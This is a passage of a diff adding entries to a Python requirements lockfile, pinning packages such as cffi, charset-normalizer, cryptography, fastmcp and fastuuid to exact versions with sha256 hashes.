--hash=sha256:d6956d9e4a27021c8bd6c9677f3a59eb1d820cc32d0343cea7961a03b1371965 \ + --hash=sha256:d6c2a3411af97762a2b03840c3cec2f7f728921ff8adda53d7ea2315a8563451 \ + --hash=sha256:db9b5681e4af8176159f0d6598e73b2279bb661e718c7ac23342c550bd78c241 \ + --hash=sha256:fab6078b9348e883c80a5e14b382e6ad6aabbc4429ca034e76e730cf464269db \ + --hash=sha256:fb7ff95af4c31ad3f03179149aab61097a71fd85e05f89b4786de0359dffd044 \ + --hash=sha256:fc220b8533dcf0f238a6b1a4a937f92024c71e7b10b5a2dfc1c73604a25709bc +cdp-use==1.4.4 \ + --hash=sha256:330a848b517006eb9ad1dc468aa6434d913cf0c6918610760c36c3fdfdba0fab \ + --hash=sha256:e37e80e067db2653d6fdf953d4ff9e5d80d75daa27b7c6d48c0261cccbef73e1 +certifi==2025.8.3 \ + --hash=sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407 \ + --hash=sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5 +cffi==2.0.0 \ + --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ + --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ + --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ + --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ + --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ + --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ + --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ + --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ + --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ + --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ + --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ + --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ + --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ + --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ + --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ + --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ + --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ + --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ + --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ + --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ + --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ + --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ + --hash=sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c \ + --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \ + --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \ + --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \ + --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ + --hash=sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63 \ + --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \ + --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ + --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ + --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \ + --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ + --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ + --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \ + --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \ + --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \ + --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \ + --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \ + --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ + --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ + --hash=sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322 \ + --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \ + --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ + --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \ + --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \ + --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \ + --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \ + --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \ + --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \ + --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \ + --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \ + --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \ + --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \ + --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \ + --hash=sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9 \ + --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \ + --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \ + --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \ + --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \ + --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \ + --hash=sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f \ + --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \ + --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \ + --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \ + --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \ + --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \ + --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \ + --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \ + --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \ + --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \ + --hash=sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7 \ + --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \ + --hash=sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534 \ + --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \ + --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \ + --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \ + --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453 \ + --hash=sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf +chardet==5.2.0 \ + --hash=sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7 \ + --hash=sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970 +charset-normalizer==3.4.3 \ + --hash=sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91 \ + --hash=sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0 \ + --hash=sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154 \ + --hash=sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601 \ + --hash=sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884 \ + --hash=sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07 \ + --hash=sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c \ + --hash=sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64 \ + --hash=sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe \ + --hash=sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f \ + --hash=sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432 \ + --hash=sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc \ + --hash=sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa \ + --hash=sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9 \ + --hash=sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae \ + --hash=sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19 \ + --hash=sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d \ + --hash=sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e \ + --hash=sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4 \ + --hash=sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7 \ + --hash=sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312 \ + --hash=sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92 \ + --hash=sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31 \ + --hash=sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c \ + --hash=sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f \ + --hash=sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99 \ + --hash=sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b \ + --hash=sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15 \ + --hash=sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392 \ + --hash=sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f \ + --hash=sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8 \ + --hash=sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491 \ + --hash=sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0 \ + --hash=sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc \ + --hash=sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0 \ + --hash=sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f \ + --hash=sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a \ + --hash=sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40 \ + --hash=sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927 \ + --hash=sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849 \ + --hash=sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce \ + --hash=sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14 \ + --hash=sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05 \ + --hash=sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c \ + --hash=sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c \ + --hash=sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a \ + --hash=sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc \ + --hash=sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34 \ + --hash=sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9 \ + --hash=sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096 \ + --hash=sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14 \ + --hash=sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30 \ + --hash=sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b \ + --hash=sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b \ + --hash=sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942 \ + --hash=sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db \ + --hash=sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5 \ + --hash=sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b \ + --hash=sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce \ + --hash=sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669 \ + --hash=sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0 \ + --hash=sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018 \ + --hash=sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93 \ + --hash=sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe \ + --hash=sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049 \ + --hash=sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a \ + --hash=sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef \ + --hash=sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2 \ + --hash=sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca \ + --hash=sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16 \ + --hash=sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f \ + --hash=sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb \ + --hash=sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1 \ + --hash=sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557 \ + --hash=sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37 \ + --hash=sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7 \ + --hash=sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72 \ + --hash=sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c \ + --hash=sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9 +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 +cloudpickle==3.1.2 \ + --hash=sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414 \ + --hash=sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a +cryptography==50.0.0 \ + --hash=sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813f3f07e3d03 \ + --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ + --hash=sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437 \ + --hash=sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f46589e912988e551987 \ + --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ + --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ + --hash=sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f90691269 \ + --hash=sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f385f1e2772db105 \ + --hash=sha256:19736989797678c6af1e55cd49055cdbcb55d8f6b5583ac5335f933aba9101dc \ + --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ + --hash=sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a5b17425f65f28b \ + --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ + --hash=sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0b9ee87041209fc9c \ + --hash=sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2dde98999fc41 \ + --hash=sha256:5e34edd123674534acd70147f0ca331eaa2c74e6325fb2028c886aa26ba0b68c \ + --hash=sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d \ + --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ + --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ + --hash=sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa143ecec8e0b708 \ + --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ + --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ + --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ + --hash=sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18b22dd8fb7440a \ + --hash=sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c5514dd2c6d5a78f \ + --hash=sha256:8eb5e1172eb569ea8a872796576e6a67c276351728b6455d5beb01242b027c6a \ + --hash=sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd91221636949fe4eb0aa8a \ + --hash=sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e \ + --hash=sha256:910e1d2668e7de9648f2bcee30e180db2a6b15c30f887d7c4c93ddf96e3992e3 \ + --hash=sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c4400322726feaaadfc6d \ + --hash=sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d9707e307f77b40d6b3 \ + --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ + --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ + --hash=sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d30 \ + --hash=sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1dff9a516b5f5bb9 \ + --hash=sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9 \ + --hash=sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05967dafa07 \ + --hash=sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96ba \ + --hash=sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9c1e93cfca7aa857d3 \ + --hash=sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915e9fc106bb0c82f \ + --hash=sha256:df2a58a472f332225671c35b0a830208b86d004f82baa8530fa3782c85646533 \ + --hash=sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd88033ea8dd0dc5 \ + --hash=sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185668c6e6ebf5a0ac11 \ + --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 \ + --hash=sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf6112267e0d3b565a2e9c9f \ + --hash=sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d380266bbda5823349169 \ + --hash=sha256:fd9192b7b70c573d7f214eb1ae35e00d359f6f5e4b27c7e21e30de1fc6204645 +cyclopts==4.6.0 \ + --hash=sha256:0a891cb55bfd79a3cdce024db8987b33316aba11071e5258c21ac12a640ba9f2 \ + --hash=sha256:483c4704b953ea6da742e8de15972f405d2e748d19a848a4d61595e8e5360ee5 +deprecation==2.1.0 \ + --hash=sha256:72b3bde64e5d778694b0cf68178aed03d15e15477116add3fb773e581f9518ff \ + --hash=sha256:a10811591210e1fb0e768a8c25517cabeabcba6f0bf96564f8ff45189f90b14a +distro==1.9.0 \ + --hash=sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed \ + --hash=sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2 +dnspython==2.8.0 \ + --hash=sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af \ + --hash=sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f +docstring-parser==0.17.0 \ + --hash=sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912 \ + --hash=sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708 +docutils==0.22.2 \ + --hash=sha256:9fdb771707c8784c8f2728b67cb2c691305933d68137ef95a75db5f4dfbc213d \ + --hash=sha256:b0e98d679283fc3bb0ead8a5da7f501baa632654e7056e9c5846842213d674d8 +email-validator==2.3.0 \ + --hash=sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4 \ + --hash=sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426 +exceptiongroup==1.3.0 \ + --hash=sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10 \ + --hash=sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88 +fakeredis==2.34.1 \ + --hash=sha256:0107ec99d48913e7eec2a5e3e2403d1bd5f8aa6489d1a634571b975289c48f12 \ + --hash=sha256:4ff55606982972eecce3ab410e03d746c11fe5deda6381d913641fbd8865ea9b +fastmcp==3.2.0 \ + --hash=sha256:d4830b8ffc3592d3d9c76dc0f398904cf41f04910e41a0de38cc1004e0903bef \ + --hash=sha256:e71aba3df16f86f546a4a9e513261d3233bcc92bef0dfa647bac3fa33623f681 +fastuuid==0.14.0 \ + --hash=sha256:05a8dde1f395e0c9b4be515b7a521403d1e8349443e7641761af07c7ad1624b1 \ + --hash=sha256:0737606764b29785566f968bd8005eace73d3666bd0862f33a760796e26d1ede \ + --hash=sha256:089c18018fdbdda88a6dafd7d139f8703a1e7c799618e33ea25eb52503d28a11 \ + --hash=sha256:09098762aad4f8da3a888eb9ae01c84430c907a297b97166b8abc07b640f2995 \ + --hash=sha256:09378a05020e3e4883dfdab438926f31fea15fd17604908f3d39cbeb22a0b4dc \ + --hash=sha256:0c9ec605ace243b6dbe3bd27ebdd5d33b00d8d1d3f580b39fdd15cd96fd71796 \ + --hash=sha256:0df14e92e7ad3276327631c9e7cec09e32572ce82089c55cb1bb8df71cf394ed \ + --hash=sha256:12ac85024637586a5b69645e7ed986f7535106ed3013640a393a03e461740cb7 \ + --hash=sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab \ + --hash=sha256:139d7ff12bb400b4a0c76be64c28cbe2e2edf60b09826cbfd85f33ed3d0bbe8b \ + --hash=sha256:13ec4f2c3b04271f62be2e1ce7e95ad2dd1cf97e94503a3760db739afbd48f00 \ + --hash=sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26 \ + --hash=sha256:193ca10ff553cf3cc461572da83b5780fc0e3eea28659c16f89ae5202f3958d4 \ + --hash=sha256:1a771f135ab4523eb786e95493803942a5d1fc1610915f131b363f55af53b219 \ + --hash=sha256:1bf539a7a95f35b419f9ad105d5a8a35036df35fdafae48fb2fd2e5f318f0d75 \ + --hash=sha256:1ca61b592120cf314cfd66e662a5b54a578c5a15b26305e1b8b618a6f22df714 \ + --hash=sha256:1e3cc56742f76cd25ecb98e4b82a25f978ccffba02e4bdce8aba857b6d85d87b \ + --hash=sha256:1e690d48f923c253f28151b3a6b4e335f2b06bf669c68a02665bc150b7839e94 \ + --hash=sha256:2b29e23c97e77c3a9514d70ce343571e469098ac7f5a269320a0f0b3e193ab36 \ + --hash=sha256:2dce5d0756f046fa792a40763f36accd7e466525c5710d2195a038f93ff96346 \ + --hash=sha256:2ec3d94e13712a133137b2805073b65ecef4a47217d5bac15d8ac62376cefdb4 \ + --hash=sha256:2fb3c0d7fef6674bbeacdd6dbd386924a7b60b26de849266d1ff6602937675c8 \ + --hash=sha256:2fc37479517d4d70c08696960fad85494a8a7a0af4e93e9a00af04d74c59f9e3 \ + --hash=sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87 \ + --hash=sha256:3964bab460c528692c70ab6b2e469dd7a7b152fbe8c18616c58d34c93a6cf8d4 \ + --hash=sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8 \ + --hash=sha256:448aa6833f7a84bfe37dd47e33df83250f404d591eb83527fa2cac8d1e57d7f3 \ + --hash=sha256:47c821f2dfe95909ead0085d4cb18d5149bca704a2b03e03fb3f81a5202d8cea \ + --hash=sha256:4edc56b877d960b4eda2c4232f953a61490c3134da94f3c28af129fb9c62a4f6 \ + --hash=sha256:5816d41f81782b209843e52fdef757a361b448d782452d96abedc53d545da722 \ + --hash=sha256:6e6243d40f6c793c3e2ee14c13769e341b90be5ef0c23c82fa6515a96145181a \ + --hash=sha256:6fbc49a86173e7f074b1a9ec8cf12ca0d54d8070a85a06ebf0e76c309b84f0d0 \ + --hash=sha256:73657c9f778aba530bc96a943d30e1a7c80edb8278df77894fe9457540df4f85 \ + 